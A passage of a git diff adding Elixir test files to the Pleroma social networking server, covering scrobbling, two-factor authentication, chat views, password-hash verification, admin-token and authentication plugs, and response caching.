/api/v1/pleroma/scrobble" do + test "works correctly" do + %{conn: conn} = oauth_access(["write"]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/scrobble", %{ + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => "180000" + }) + + assert %{"title" => "lain radio episode 1"} = json_response_and_validate_schema(conn, 200) + end + end + + describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do + test "works correctly" do + %{user: user, conn: conn} = oauth_access(["read"]) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + artist: "lain", + album: "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 2", + artist: "lain", + album: "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 3", + artist: "lain", + album: "lain radio" + }) + + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles") + + result = json_response_and_validate_schema(conn, 200) + + assert length(result) == 3 + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs new file mode 100644 index 000000000..22988c881 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs @@ -0,0 +1,264 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + alias Pleroma.MFA.Settings + alias Pleroma.MFA.TOTP + + describe "GET /api/pleroma/accounts/mfa/settings" do + test "returns user mfa settings for new user", %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "follow"]) + token2 = insert(:oauth_token, scopes: ["write"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(:ok) == %{ + "settings" => %{"enabled" => false, "totp" => false} + } + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(403) == %{ + "error" => "Insufficient permissions: read:security." + } + end + + test "returns user mfa settings with enabled totp", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + enabled: true, + totp: %Settings.TOTP{secret: "XXX", delivery_type: "app", confirmed: true} + } + ) + + token = insert(:oauth_token, scopes: ["read", "follow"], user: user) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(:ok) == %{ + "settings" => %{"enabled" => true, "totp" => true} + } + end + end + + describe "GET /api/pleroma/accounts/mfa/backup_codes" do + test "returns backup codes", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: "secret"} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/backup_codes") + |> json_response(:ok) + + assert [<<_::bytes-size(6)>>, <<_::bytes-size(6)>>] = response["codes"] + user = refresh_record(user) + mfa_settings = user.multi_factor_authentication_settings + assert mfa_settings.totp.secret == "secret" + refute mfa_settings.backup_codes == ["1", "2", "3"] + refute mfa_settings.backup_codes == [] + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa/backup_codes") + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "GET /api/pleroma/accounts/mfa/setup/totp" do + test "return errors when method is invalid", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/setup/torf") + |> json_response(400) + + assert response == %{"error" => "undefined method"} + end + + test "returns key and provisioning_uri", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{backup_codes: ["1", "2", "3"]} + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/setup/totp") + |> json_response(:ok) + + user = refresh_record(user) + mfa_settings = user.multi_factor_authentication_settings + secret = mfa_settings.totp.secret + refute mfa_settings.enabled + assert mfa_settings.backup_codes == ["1", "2", "3"] + + assert response == %{ + "key" => secret, + "provisioning_uri" => TOTP.provisioning_uri(secret, "#{user.email}") + } + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa/setup/totp") + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "GET /api/pleroma/accounts/mfa/confirm/totp" do + test "returns success result", %{conn: conn} do + secret = TOTP.generate_secret() + code = TOTP.generate_token(secret) + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) + |> json_response(:ok) + + settings = refresh_record(user).multi_factor_authentication_settings + assert settings.enabled + assert settings.totp.secret == secret + assert settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + + test "returns error if password incorrect", %{conn: conn} do + secret = TOTP.generate_secret() + code = TOTP.generate_token(secret) + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "xxx", code: code}) + |> json_response(422) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + refute settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + assert response == %{"error" => "Invalid password."} + end + + test "returns error if code incorrect", %{conn: conn} do + secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) + |> json_response(422) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + refute settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + assert response == %{"error" => "invalid_token"} + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "DELETE /api/pleroma/accounts/mfa/totp" do + test "returns success result", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: "secret"} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) + |> json_response(:ok) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + assert settings.totp.secret == nil + refute settings.totp.confirmed + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end +end diff --git a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs new file mode 100644 index 000000000..26272c125 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ChatMessageReferenceViewTest do + use Pleroma.DataCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + + import Pleroma.Factory + + test "it displays a chat message" do + user = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "kippis :firefox:") + + chat = Chat.get(user.id, recipient.ap_id) + + object = Object.normalize(activity) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + chat_message = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + + assert chat_message[:id] == cm_ref.id + assert chat_message[:content] == "kippis :firefox:" + assert chat_message[:account_id] == user.id + assert chat_message[:chat_id] + assert chat_message[:created_at] + assert chat_message[:unread] == false + assert match?([%{shortcode: "firefox"}], chat_message[:emojis]) + + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{url: "https://example.com/ogp"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} + end) + + {:ok, activity} = + CommonAPI.post_chat_message(recipient, user, "gkgkgk https://example.com/ogp", + media_id: upload.id + ) + + object = Object.normalize(activity) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + chat_message_two = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + + assert chat_message_two[:id] == cm_ref.id + assert chat_message_two[:content] == object.data["content"] + assert chat_message_two[:account_id] == recipient.id + assert chat_message_two[:chat_id] == chat_message[:chat_id] + assert chat_message_two[:attachment] + assert chat_message_two[:unread] == true + assert chat_message_two[:card] + end +end diff --git a/test/pleroma/web/pleroma_api/views/chat_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_view_test.exs new file mode 100644 index 000000000..02484b705 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/chat_view_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ChatViewTest do + use Pleroma.DataCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + alias Pleroma.Web.PleromaAPI.ChatView + + import Pleroma.Factory + + test "it represents a chat" do + user = insert(:user) + recipient = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + represented_chat = ChatView.render("show.json", chat: chat) + + assert represented_chat == %{ + id: "#{chat.id}", + account: + AccountView.render("show.json", user: recipient, skip_visibility_check: true), + unread: 0, + last_message: nil, + updated_at: Utils.to_masto_date(chat.updated_at) + } + + {:ok, chat_message_creation} = CommonAPI.post_chat_message(user, recipient, "hello") + + chat_message = Object.normalize(chat_message_creation, false) + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + represented_chat = ChatView.render("show.json", chat: chat) + + cm_ref = MessageReference.for_chat_and_object(chat, chat_message) + + assert represented_chat[:last_message] == + MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + end +end diff --git a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs new file mode 100644 index 000000000..6bdb56509 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.StatusViewTest do + use Pleroma.DataCase + + alias Pleroma.Web.PleromaAPI.ScrobbleView + + import Pleroma.Factory + + test "successfully renders a Listen activity (pleroma extension)" do + listen_activity = insert(:listen) + + status = ScrobbleView.render("show.json", activity: listen_activity) + + assert status.length == listen_activity.data["object"]["length"] + assert status.title == listen_activity.data["object"]["title"] + end +end diff --git a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs new file mode 100644 index 000000000..4d35dc99c --- /dev/null +++ b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlugTest do + use Pleroma.Web.ConnCase + + import Mock + import Pleroma.Factory + + alias Pleroma.Plugs.AdminSecretAuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.Plugs.RateLimiter + + test "does nothing if a user is assigned", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + + ret_conn = + conn + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn == ret_conn + end + + describe "when secret set it assigns an admin user" do + setup do: clear_config([:admin_token]) + + setup_with_mocks([{RateLimiter, [:passthrough], []}]) do + :ok + end + + test "with `admin_token` query parameter", %{conn: conn} do + Pleroma.Config.put(:admin_token, "password123") + + conn = + %{conn | params: %{"admin_token" => "wrong_password"}} + |> AdminSecretAuthenticationPlug.call(%{}) + + refute conn.assigns[:user] + assert called(RateLimiter.call(conn, name: :authentication)) + + conn = + %{conn | params: %{"admin_token" => "password123"}} + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn.assigns[:user].is_admin + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + test "with `x-admin-token` HTTP header", %{conn: conn} do + Pleroma.Config.put(:admin_token, "☕️") + + conn = + conn + |> put_req_header("x-admin-token", "🥛") + |> AdminSecretAuthenticationPlug.call(%{}) + + refute conn.assigns[:user] + assert called(RateLimiter.call(conn, name: :authentication)) + + conn = + conn + |> put_req_header("x-admin-token", "☕️") + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn.assigns[:user].is_admin + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + end +end diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs new file mode 100644 index 000000000..550543ff2 --- /dev/null +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -0,0 +1,125 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.User + + import ExUnit.CaptureLog + import Pleroma.Factory + + setup %{conn: conn} do + user = %User{ + id: 1, + name: "dude", + password_hash: Pbkdf2.hash_pwd_salt("guy") + } + + conn = + conn + |> assign(:auth_user, user) + + %{user: user, conn: conn} + end + + test "it does nothing if a user is assigned", %{conn: conn} do + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> AuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + test "with a correct password in the credentials, " <> + "it assigns the auth_user and marks OAuthScopesPlug as skipped", + %{conn: conn} do + conn = + conn + |> assign(:auth_credentials, %{password: "guy"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user == conn.assigns.auth_user + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + test "with a bcrypt hash, it updates to a pkbdf2 hash", %{conn: conn} do + user = insert(:user, password_hash: Bcrypt.hash_pwd_salt("123")) + assert "$2" <> _ = user.password_hash + + conn = + conn + |> assign(:auth_user, user) + |> assign(:auth_credentials, %{password: "123"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user.id == conn.assigns.auth_user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + + user = User.get_by_id(user.id) + assert "$pbkdf2" <> _ = user.password_hash + end + + @tag :skip_on_mac + test "with a crypt hash, it updates to a pkbdf2 hash", %{conn: conn} do + user = + insert(:user, + password_hash: + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + ) + + conn = + conn + |> assign(:auth_user, user) + |> assign(:auth_credentials, %{password: "password"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user.id == conn.assigns.auth_user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + + user = User.get_by_id(user.id) + assert "$pbkdf2" <> _ = user.password_hash + end + + describe "checkpw/2" do + test "check pbkdf2 hash" do + hash = + "$pbkdf2-sha512$160000$loXqbp8GYls43F0i6lEfIw$AY.Ep.2pGe57j2hAPY635sI/6w7l9Q9u9Bp02PkPmF3OrClDtJAI8bCiivPr53OKMF7ph6iHhN68Rom5nEfC2A" + + assert AuthenticationPlug.checkpw("test-password", hash) + refute AuthenticationPlug.checkpw("test-password1", hash) + end + + @tag :skip_on_mac + test "check sha512-crypt hash" do + hash = + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + + assert AuthenticationPlug.checkpw("password", hash) + end + + test "check bcrypt hash" do + hash = "$2a$10$uyhC/R/zoE1ndwwCtMusK.TLVzkQ/Ugsbqp3uXI.CTTz0gBw.24jS" + + assert AuthenticationPlug.checkpw("password", hash) + refute AuthenticationPlug.checkpw("password1", hash) + end + + test "it returns false when hash invalid" do + hash = + "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + + assert capture_log(fn -> + refute Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) + end) =~ "[error] Password hash not recognized" + end + end +end diff --git a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs new file mode 100644 index 000000000..49f5ea238 --- /dev/null +++ b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.BasicAuthDecoderPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.BasicAuthDecoderPlug + + defp basic_auth_enc(username, password) do + "Basic " <> Base.encode64("#{username}:#{password}") + end + + test "it puts the decoded credentials into the assigns", %{conn: conn} do + header = basic_auth_enc("moonman", "iloverobek") + + conn = + conn + |> put_req_header("authorization", header) + |> BasicAuthDecoderPlug.call(%{}) + + assert conn.assigns[:auth_credentials] == %{ + username: "moonman", + password: "iloverobek" + } + end + + test "without a authorization header it doesn't do anything", %{conn: conn} do + ret_conn = + conn + |> BasicAuthDecoderPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/cache_control_test.exs b/test/pleroma/web/plugs/cache_control_test.exs new file mode 100644 index 000000000..fcf3d2be8 --- /dev/null +++ b/test/pleroma/web/plugs/cache_control_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.CacheControlTest do + use Pleroma.Web.ConnCase + alias Plug.Conn + + test "Verify Cache-Control header on static assets", %{conn: conn} do + conn = get(conn, "/index.html") + + assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"] + end + + test "Verify Cache-Control header on the API", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"] + end +end diff --git a/test/pleroma/web/plugs/cache_test.exs b/test/pleroma/web/plugs/cache_test.exs new file mode 100644 index 000000000..105b170f0 --- /dev/null +++ b/test/pleroma/web/plugs/cache_test.exs @@ -0,0 +1,186 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.CacheTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.Cache + + @miss_resp {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"}, + {"x-cache", "MISS from Pleroma"} + ], "cofe"} + + @hit_resp {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"}, + {"x-cache", "HIT from Pleroma"} + ], "cofe"} + + @ttl 5 + + setup do + Cachex.clear(:web_resp_cache) + :ok + end + + test "caches a response" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert_raise(Plug.Conn.AlreadySentError, fn -> + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end) + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + end + + test "ttl is set" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> sent_resp() + + :timer.sleep(@ttl + 1) + + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "set ttl via conn.assigns" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> assign(:cache_ttl, @ttl) + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + + :timer.sleep(@ttl + 1) + + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore query string when `query_params` is false" do + assert @miss_resp == + conn(:get, "/?cofe") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/?cofefe") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + end + + test "take query string into account when `query_params` is true" do + assert @miss_resp == + conn(:get, "/?cofe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @miss_resp == + conn(:get, "/?cofefe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "take specific query params into account when `query_params` is list" do + assert @miss_resp == + conn(:get, "/?a=1&b=2&c=3&foo=bar") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/?bar=foo&c=3&b=2&a=1") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> sent_resp() + + assert @miss_resp == + conn(:get, "/?bar=foo&c=3&b=2&a=2") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore not GET requests" do + expected = + {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"} + ], "cofe"} + + assert expected == + conn(:post, "/") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore non-successful responses" do + expected = + {418, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "tea/iced; charset=utf-8"} + ], "🥤"} + + assert expected == + conn(:get, "/cofe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("tea/iced") + |> send_resp(:im_a_teapot, "🥤") + |> sent_resp() + end +end diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs new file mode 100644 index 000000000..b87f4e103 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.User + + describe "without :if_func / :unless_func options" do + test "it halts if user is NOT assigned", %{conn: conn} do + conn = EnsureAuthenticatedPlug.call(conn, %{}) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it continues if a user is assigned", %{conn: conn} do + conn = assign(conn, :user, %User{}) + ret_conn = EnsureAuthenticatedPlug.call(conn, %{}) + + refute ret_conn.halted + end + end + + test "it halts if user is assigned and MFA enabled", %{conn: conn} do + conn = + conn + |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: true}}) + |> assign(:auth_credentials, %{password: "xd-42"}) + |> EnsureAuthenticatedPlug.call(%{}) + + assert conn.status == 403 + assert conn.halted == true + + assert conn.resp_body == + "{\"error\":\"Two-factor authentication enabled, you must use a access token.\"}" + end + + test "it continues if user is assigned and MFA disabled", %{conn: conn} do + conn = + conn + |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: false}}) + |> assign(:auth_credentials, %{password: "xd-42"}) + |> EnsureAuthenticatedPlug.call(%{}) + + refute conn.status == 403 + refute conn.halted + end + + describe "with :if_func / :unless_func options" do + setup do + %{ + true_fn: fn _conn -> true end, + false_fn: fn _conn -> false end + } + end + + test "it continues if a user is assigned", %{conn: conn, true_fn: true_fn, false_fn: false_fn} do + conn = assign(conn, :user, %User{}) + refute EnsureAuthenticatedPlug.call(conn, if_func: true_fn).halted + refute EnsureAuthenticatedPlug.call(conn, if_func: false_fn).halted + refute EnsureAuthenticatedPlug.call(conn, unless_func: true_fn).halted + refute EnsureAuthenticatedPlug.call(conn, unless_func: false_fn).halted + end + + test "it continues if a user is NOT assigned but :if_func evaluates to `false`", + %{conn: conn, false_fn: false_fn} do + ret_conn = EnsureAuthenticatedPlug.call(conn, if_func: false_fn) + refute ret_conn.halted + end + + test "it continues if a user is NOT assigned but :unless_func evaluates to `true`", + %{conn: conn, true_fn: true_fn} do + ret_conn = EnsureAuthenticatedPlug.call(conn, unless_func: true_fn) + refute ret_conn.halted + end + + test "it halts if a user is NOT assigned and :if_func evaluates to `true`", + %{conn: conn, true_fn: true_fn} do + conn = EnsureAuthenticatedPlug.call(conn, if_func: true_fn) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it halts if a user is NOT assigned and :unless_func evaluates to `false`", + %{conn: conn, false_fn: false_fn} do + conn = EnsureAuthenticatedPlug.call(conn, unless_func: false_fn) + + assert conn.status == 403 + assert conn.halted == true + end + end +end diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs new file mode 100644 index 000000000..9cd5bc715 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Config + alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.User + + setup do: clear_config([:instance, :public]) + + test "it halts if not public and no user is assigned", %{conn: conn} do + Config.put([:instance, :public], false) + + conn = + conn + |> EnsurePublicOrAuthenticatedPlug.call(%{}) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it continues if public", %{conn: conn} do + Config.put([:instance, :public], true) + + ret_conn = + conn + |> 